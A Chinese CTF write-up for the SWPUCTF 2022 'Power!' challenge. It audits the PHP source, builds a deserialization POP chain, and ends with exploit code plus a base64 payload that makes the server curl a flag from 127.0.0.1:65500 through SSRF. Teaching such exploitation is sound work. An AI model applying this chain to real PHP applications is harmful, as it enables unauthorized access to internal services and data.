[SWPUCTF 2022 新生赛]Power! 反序列化详细题解

知识点:

PHP反序列化(执行顺序)

构造POP链

代码审计

题目主页:

 输入框可以输入内容,习惯性先查看一下页面的源代码,收集信息

发现源码中有提示参数source   先不急,再看一下其他信息

是apache服务器,php版本为7.4.30

url传参 ?source=index.php    回显了index.php的源码

<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path'];    //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?> 

代码审计:

先不看类中的代码,看最后如果get方法存在source参数,就回显源码,如果参数名是image_path,经过正则过滤后会读取文件内容并输出,如果参数名是path_info 执行反序列化操作

提示了flag.php文件,那么url传参 ?image_path=flag.php  查看一下文件

打开图像的链接,得到提示 flag在 127.0.0.1:65500

目的就明确了,传参path_info然后执行反序列化操作

构造POP链:

回过头来查看类中的代码,总共就两个类,所以思路比较简单,从后向前推

最后要执行curl()函数,用于通过 curl 发起 HTTP 请求 结合提示是请求  127.0.0.1:65500


FileViewer类中loadfile()函数会执行curl函数,$file = $this->curl($this->local.$this->path);
local 和 path 属性拼接起来就是路径,暂时不知道文件名,猜测是flag  可以枚举尝试
__call方法会调用loadfile()函数,__call()方法是对不存在的方法或者不可访问的方法进行调用时自动调用
Backdoor类中__destruct()方法$this->a->c();  把a赋值为FileViewer类对象可以触发call方法

class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}

__destruct()中还有代码,会执行goodman函数把a中的b属性赋值为$this->superhacker; 

所以可以直接在Backdoor类中把属性a赋值为FileViewer类对象,b赋值为local属性,superhacker赋值为  http://127.0.0.1:65500/
那么pop链就是
FileViewer::loadfile() -> FileViewer::__call()-> Backdoor::__destruct()

<?php
class FileViewer{public $black_list;  // 可以不赋值,只要不是flag即可public $local;       // 在Backdoor类中赋值public $path  = "flag";   //文件名
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a = new FileViewer();$this->b = "local";$this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
echo base64_encode(serialize($a));

但是如果这样构造的话,最后序列化的是Backdoor类对象,而代码中反序列化之后代码是$FV->loadfile();
而Backdoor类中没有loadfile()方法,会报错  Call to undefined method Backdoor::loadfile()


需要让反序列化得到是FileViewer类对象,这样才能正常执行命令并且输出结果,但是pop链还不能乱

如果一个类A里面的属性的值是另外一个类B,那么进行反序列化时会先反序列化类B然后再反序列化类A

进行对象的反序列化时,如果一个类(称其为A类)中包含另一个类的对象作为属性(假设这个类为B类),那么反序列化的顺序通常遵循以下原则:

  1. 先反序列化内部对象:首先会尝试反序列化B类对象。这是因为为了完整地恢复A类对象的状态,需要先确保所有它引用的对象已经被正确地创建并初始化。

  2. 然后反序列化外部对象:一旦B类对象成功反序列化,接下来就是反序列化A类对象本身的数据,包括其自身的属性值以及对已经反序列化的B类对象的引用 

那么可以在原有的pop链基础上,再创建一个FileViewer类对象,然后把之前构造的Backdoor类对象赋值给FileViewer类对象中的其中任何一个属性,反序列化后得到的就是FileViewer类对象,就可以执行$FV->loadfile();  让代码不会报错正常运行

至于最后$FV->loadfile();的结果是无所谓的,再创建一个FileViewer类对象的目的就是为了不报错

因为查看文件的操作是在反序列化Backdoor类对象的时候触发执行的,因此只要代码正常运行不报错,在反序列化时就会 echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';  输出查询的文件内容


注意这题只能把Backdoor类对象赋值给local,赋值给black_list 和 path 都会报错
因为black_list 和 path都在正则表达式中出现,需要是字符串类型,反序列化会报错
Uncaught Error: Object of class Backdoor could not be converted to string

<?php
class FileViewer{public $black_list;public $local;public $path  = "flag";
}
class Backdoor{public $a;public $b;public $superhacker;public function __construct(){$this->a = new FileViewer();$this->b = "local";$this->superhacker = "http://127.0.0.1:65500/";
}
}
$a = new Backdoor();
$b = new FileViewer();
$b->local = $a;
echo base64_encode(serialize($b));
//结果是TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NDoiZmxhZyI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MjM6Imh0dHA6Ly8xMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

经过测试上面的代码中 $this->superhacker 赋值的格式至少需要为 "http://127.0.0.1:65500/"

也可以直接赋值完整路径 "http://127.0.0.1:65500/flag",这样path就不用赋值了

但是一定要有 "http://127.0.0.1:65500/" 这个格式   即使只去掉 / 然后path赋值为/flag 都是不行的

传参path_info得到

查看页面源代码

点击即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/7667.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

docker下迁移elasticsearch的问题与解决方案

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 &#x1f38f;&#xff1a;你只管努力&#xff0c;剩下的交给时间 &#x1f3e0; &#xff1a;小破站 docker下迁移elasticsearch的问题与解决方案 数据挂载报错解决权限问题节点故障 直接上图&#x…

Spark 的介绍与搭建:从理论到实践

目录 一、分布式的思想 &#xff08;一&#xff09;存储 &#xff08;二&#xff09;计算 二、Spark 简介 &#xff08;一&#xff09;发展历程 &#xff08;二&#xff09;Spark 能做什么&#xff1f; &#xff08;三&#xff09;spark 的组成部分 &#xff08;四&…

Python GUI 编程:tkinter 初学者入门指南——微调框

在本教程中&#xff0c;将介绍如何创建 Tkinter Spinbox 微调框小部件。 Python 中 Tkinter 中的 Spinbox 小部件用于从指定的给定值范围内选择一个值。 此外&#xff0c;可以直接在 Spinbox 小组件中输入值&#xff0c;就像使用单行文本框小组件一样。 要创建 Spinbox 小部件…

人保财险(外包)面试分享

前言&#xff1a; 这是本月面的第三家公司&#xff0c;太难了兄弟们&#xff0c;外包都不好找了&#xff0c;临近年底&#xff0c;金九银十已经错过了&#xff0c;金三银四虽然存在&#xff0c;但按照这几年的行情&#xff0c;金九银十和金三银四其实已经是不复存在了&#xf…

Redis - 数据库管理

Redis 提供了⼏个⾯向Redis数据库的操作&#xff0c;分别是dbsize、select、flushdb、flushall命令&#xff0c; 本机将通过具体的使⽤常⻅介绍这些命令。 一、切换数据库 select dbIndex 许多关系型数据库&#xff0c;例如MySQL⽀持在⼀个实例下有多个数据库存在的&#…

大数据挖掘有哪些技术要点?

大数据挖掘的主要方法和技术有&#xff1a;分类、聚类、关联规则、回归分析、时间序列分析、文本挖掘、社交网络分析、可视化技术等。通过大数据挖掘&#xff0c;企业和研究机构能够从海量数据中提取有价值的信息和知识&#xff0c;促进决策优化和业务创新。 一、分类 分类是大…

Python小游戏23——捕鱼达人

首先&#xff0c;你需要安装Pygame库。如果你还没有安装&#xff0c;可以使用以下命令进行安装&#xff1a; 【bash】 pip install pygame 运行效果展示 接下来是示例代码&#xff1a; 【python】 import pygame import random # 初始化Pygame pygame.init() # 屏幕尺寸 SCREEN…

项目模块十七:HttpServer模块

一、项目模块设计思路 目的&#xff1a;实现HTTP服务器搭建 思想&#xff1a;设计请求路由表&#xff0c;记录请求方法与对应业务的处理函数映射关系。用户实现请求方法和处理函数添加到路由表&#xff0c;服务器只接受请求并调用用户的处理函数即可。 处理流程&#xff1a; …

GS-SLAM论文阅读--High-Fidelity SLAM Using Gaussian Splatting

前言 这篇文章是几个月之前的IROS2024了&#xff0c;之前忘记看了&#xff0c;但是最近看到&#xff0c;觉得有一些值得参考的部分&#xff0c;接下来仔细阅读一下。 文章目录 前言1.背景介绍2.关键内容2.1 建图2.2 跟踪2.3总体流程 3.文章贡献 1.背景介绍 3DGS的连续建图存在…

App渠道来源追踪方案全面分析(iOS/Android/鸿蒙)

一、App 渠道来源追踪概述 渠道来源统计/追踪&#xff0c;其原理都可以称之为归因&#xff0c;归因是用于判断用户在什么原因、什么时间、什么场景下载了 App&#xff0c;以及打通他们在激活 App 后进行的一系列操作&#xff08;比如注册、付费、加购等&#xff09;。 渠道来…

group_concat配置影响程序出bug

在 ThinkPHP 5 中&#xff0c;想要临时修改 MySQL 数据库的 group_concat_max_len 参数&#xff0c;可以使用 原生 SQL 执行 来修改该值。你可以通过 Db 类来执行 SQL 语句&#xff0c;从而修改会话&#xff08;Session&#xff09;级别的变量。 步骤 设置 group_concat_max_l…

物联网赋能的人工智能图像检测系统

一、引言 在数字化时代&#xff0c;物联网&#xff08;IoT&#xff09;技术已经成为我们生活中不可或缺的一部分&#xff0c;极大地优化了我们的交通出行和医疗服务。物联网的核心优势在于其卓越的连接能力&#xff0c;它能够构建和连接庞大的资源数据库&#xff0c;为智能化图…

【python笔记】os库中ctime、mtime和atime的区别

ctime Creation Time文件或目录的创建时间 返回秒级时间戳 os.path.getctime(file_path) os.stat(file_path).st_ctime 返回纳秒级时间戳 os.stat(file_path).st_ctime_ns mtime Modification Time文件或目录的最后修改时间 返回秒级时间戳 os.path.getmtime(file_path) os.sta…

3DE 知识工程 —— EKL 函数重用与功能扩展

目录 1、简介 2、EKL 函数重用 2.1 直接调用 2.2 本地库重用 2.3 全局库重用 3、EKL 功能扩展 1、简介 本文介绍两种方法以展示 EKL 更为强大的能力&#xff1a;一是重用 EKL 函数&#xff0c;二是使用 EKL 调用 VB Script 宏中的函数以扩展其功能。 2、EKL 函数重用…

【GESP】C++一级真题练习(202309)luogu-B3864,小明的幸运数

GESP一级真题练习。为2023年9月一级认证真题。应该是两道题中略难的一道。 题目题解详见&#xff1a;https://www.coderli.com/gesp-1-luogu-b3864/ 【GESP】C一级真题练习(202309)luogu-B3864&#xff0c;小明的幸运数 | OneCoderGESP一级真题练习。为2023年9月一级认证真题…

从0开始学习机器学习--Day18--评估模型

在很多时候&#xff0c;构建并优化完模型并不代表这个问题就被解决了。事实上&#xff0c;很多时候&#xff0c;在第一次优化结束并进行预测时&#xff0c;其与真实值之间的误差都会提醒你这个模型需要继续优化。那么&#xff0c;我们应该怎么优化它呢&#xff1f; 选择更多的…

【Hadoop】【hdfs】【大数据技术基础】实验二 熟悉常用的HDFS操作

实验二&#xff1a; 熟悉常用的HDFS操作 一、实验题目 熟悉常用的HDFS操作。 二、实验目的 &#xff08;1&#xff09; 理解HDFS在Hadoop体系结构中的角色&#xff1b; &#xff08;2&#xff09; 熟练使用HDFS操作常用的Shell命令&#xff1b; &#xff08;3&#xff09;…

SpringSecurity的使用

文章目录 原理使用自定义权限校验 主要类通过debug的方式查看security有哪些过滤器配置类UsernamePasswordAuthenticationFilterUserDetailsServiceExceptionTranslationFilter自定义认证和授权异常处理 FilterSecurityInterceptor权限校验创建拦截器获取用户权限并传递给secur…

第30周:彩色图片分类(Tensorflow实战第二周)

目录 前言 一、前期工作 1.1 设置GPU 1.2 导入数据 1.3 数据归一化 1.4 数据可视化 二、构建CNN网络 2.1 基本概念 2.2 代码实现 三、编译 四、训练模型 五、预测 六、模型评估 总结 前言 &#x1f368; 本文为[&#x1f517;365天深度学习训练营]中的学习记录博…

【Linux】信号

&#x1f308;个人主页&#xff1a;秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343&#x1f525; 系列专栏&#xff1a;https://blog.csdn.net/qinjh_/category_12625432.html 目录 信号和信号量 信号 信号的处理 信号捕捉 信号的产生 系统调用 signal rais…